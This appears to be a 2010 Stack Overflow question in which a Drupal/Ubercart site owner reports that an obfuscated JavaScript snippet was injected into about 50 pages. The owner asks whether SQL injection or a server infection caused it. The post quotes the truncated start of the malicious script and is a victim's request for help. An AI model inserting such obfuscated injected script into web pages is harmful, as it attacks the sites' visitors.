Chunks of javascript added to webpages on server

Posted by SteD on Stack Overflow See other posts from Stack Overflow or by SteD
Published on 2010-04-16T04:34:47Z Indexed on 2010/04/16 4:43 UTC
Read the original article Hit count: 217

Filed under:

I've found out that my web pages (mainly index.php, main.html, include.inc) have been injected with a chunk of javascript codes at the very bottom after my original code.

<script>try {this.l="";var d=window[unescape("%75%6e%65%73%63%61%70%65")];var M;if(M!='' && M!='a'){M='bt'};var A="";var Mc=new String();var e=null;this.k="";var t;if(t!='' && t!='iX'){t=''};var K=window[d("%52%65%67%45%78%70")];var p=d("%72%65%70%6c%61%63%65");function C(H,Z){var N=d("%5b"

Is it possible for SQL injections to add the chunk of js code to the webpages(like 50 of them are infected)? Or is it a virus on the server itself?

I am using Drupal + Ubercart with quite minimal forms inputs.

© Stack Overflow or respective owner

Related posts about web-security